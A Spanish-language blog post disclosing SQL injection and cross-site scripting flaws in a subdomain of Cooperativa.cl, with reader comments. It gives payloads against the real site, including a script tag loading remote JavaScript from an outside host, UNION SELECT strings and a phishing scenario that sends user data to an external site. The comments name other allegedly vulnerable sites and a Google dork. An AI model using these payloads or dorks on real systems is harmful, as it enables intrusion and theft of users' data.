Vulnerabilidades en Cooperativa.cl: Saltándose los filtros.

Ya vimos en el caso de Servipag unos filtros de protección anti LFI inútiles, ahora es el turno de uno de los sitios web de Cooperativa.cl, el cual implementa unos filtros de protección anti-XSS y anti-SQLi bastante vergonzosos y obviamente de “protección” no tiene nada.
El sitio afectado corresponde al subdominio “musica.cooperativa.cl” el cual es vulnerable a inyección de código sql y cross site scripting.

La vulnerabilidad se encuentra en el archivo disco.php mediante la variable id. Es posible generar un error facilmente ingresando una comilla simple (‘):

Hasta el momento el “filtro” escapa el la comilla y anteponiendo un backslash (\), intentamos hacer el típico SQL Injection para obtener información sobre la base de datos usando ‘+or 1=+ union+select+database(),user()+–+ y obtenemos como resultado “Error select * from disco where id=3342\’ 1= (),() –“

Efectivamente el “filtro” está eliminando las palabras que ponemos y dejando sólo los caracteres que no son letras. Ahora, si intentamos inyectar un tag html como por ejemplo <em>prueba</em>, obtenemos Error select * from disco where id=3342<></>

Bien, ahora nos saltaremos los filtros que nos han puesto…

¿Piensas que es muy complicado?

Para saltarse las protecciones XSS y SQL Injection que nos han puesto, lo único que tenemos que hacer es escribir con mayúsculas.
Como prueba de concepto usaremos el siguiente link:

https://musica.cooperativa.cl/disco.php?id=3342<STRONG>HOLA! ESTOY ESCRIBIENDO CON MAYUSCULAS PARA SALTARME TU FILTRO!!</STRONG>

Mira lo que obtenemos:

Para realizar la típica prueba de concepto, usando la función alert() de JavaScript tendremos un problema, ya que al escribir “ALERT” (con mayúsculas), no encontrará ninguna función con ese nombre … Pero solucionar este problema es más fácil de lo que pensamos, pongamos el tag <SCRIPT> con el atributo SRC y apuntamos a una URL (con mayúsculas todo) el cual contenga el JavaScript que queramos que sea ejecutado, para este caso elaboré un script “POC.JS” que contiene “alert(‘Prueba de concepto XSS’)” (sì, con minúsculas), entonces llamamos al script de la siguiente forma:

<SCRIPT SRC=HTTP://ZERIAL.ORG/POC.JS></SCRIPT>

Y obtenemos lo siguiente:

Con esto, damos por hecho que logramos saltarnos el filtro anti XSS.

Para saltarnos el filtro SQL Injection, es de la misma forma, las sentencias SQL las debemos escribir con mayúsculas y listo, por ejemplo OR+1=0+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14+–+, tenemos como resultado el error sql indicandonos exactamente lo que escribimos:

Ahora lo único que nos queda es empezar a jugar y encontrar la cantidad de columnas para poder extraer información de la base de datos.

Un ataque más sofisticado …

Este sitio corresponde a un lugar para descargar/comprar música “legalmente”, donde los usuarios (me imagino) se registran, introducen sus datos personales y van comprando musica mediante su tarjeta de credito (?), bien … Imaginemos un ataque un poco más elaborado, tenemos un SQL Injection donde podemos obtener la lista de todos los suscritos al sitio (correo, web, telefono y algún otro dato), luego elaboramos un sitio identico (pero falso) e invitamos a los usuarios a “Descargar musica a $1 (un peso)”, les pedimos que seleccionen las canciones que desean, inicien sesión y realicen la compra, el usuario encantado comprará muchas canciones pero cuando termine de enviar el último formulario misteriosamente aparece un mensaje que dice “Ha ocurrido un error inesperado. Intente mas tarde“, pero por debajo, el sitio envió todos sus datos personales a un sitio externo y ahora sus datos personales están en manos del atacante.

La vulnerabilidad fue reportada

9 comentarios

  1. Una pregunta, dado que yo no tengo ni idea de MySQL Injection, he visto por ahi ejemplos de sitios donde existe esta vulnerabilidad pero por lo general muestran el nombre de la bd, el usuario y la versión pero ¿acaso una de las columnas no debería contener también el password para acceder a la misma o estoy equivocado? ¿donde hay algún sitio que explique como explotar esto de manera pormenorizada?

  2. Zerial

    agosto 17, 2011 a las 12:12 pm

    Hola Ruboslav:

    Efectivamente, es posible obtener datos como el nombre de la db, usuario, version, etc. Tambien puedes obtener passwords ya sea de conexion al mysql o bien de acceso a sistemas que usen esa base de datos.

    Para aprender a explotar esta vulnerabilidad no es necesario hacerlo en un sitio vulnerable, puedes montar tu propia mysql y aprender. La magia está en la creación de las consultas, podrías leer el manual de referencia de mysql, como funciona, las tablas, el information_schema y de esa forma saber de que campos o con que funciones sacar los datos que necesites …
    Por ejemplo, se suele usar los datos que hay dentro de las tablas information_schema.tables para sacar los nombres de las tablas, en el caso que no puedas hacer “show tables”. Me entiendes?

    saludos

  3. Me he puesto a ello. De hecho, tengo un apache con MySQL instalado en mi ordenador pero no lo he usado nunca para hacer esto. Lo uso más que nada para sabe PHP y como hacer consultas de la bd desde ahí pero aun estoy muy verde enel asunto. Hago consultas muy sencillas.

  4. Excelente analisis, lo mas sorprendente es que el filtro al ser despues de una variable dejaba poner los numeros, XD! eso me saco mucha risa jajaja, s eles paso poner el max chars, aunque de todas maneras pff seguian siendo vulnerables, muy buen articulo saludos!

  5. Zerial:
    no solo son vulnerables a eso haz una búsqueda en google a la pagina cooperativa.cl y encontraras correos, contraseñas tanto del director como de la demás gente
    Saludos

  6. tambien esta esta vulnerabilidad en esta url http://www.elprovincial.cl/etc/elprovincial.cl/
    tan solo con esta busqueda en google

    intitle:index.of.etc

  7. sorry XD el primer comentario no hiba xDDD

  8. killer3003: gracias por la info 🙂

  9. Zerial:
    aqui te dejo otra info es la web https://www.notebookcenter.cl totalmente vulnerable a XSS en su motor de busqueda, ve la pagina ya les informe pero ni caso hicieron 🙁
    cuando daras una charla en vivo y en directo otra vez?
    Saludos

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Esto sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.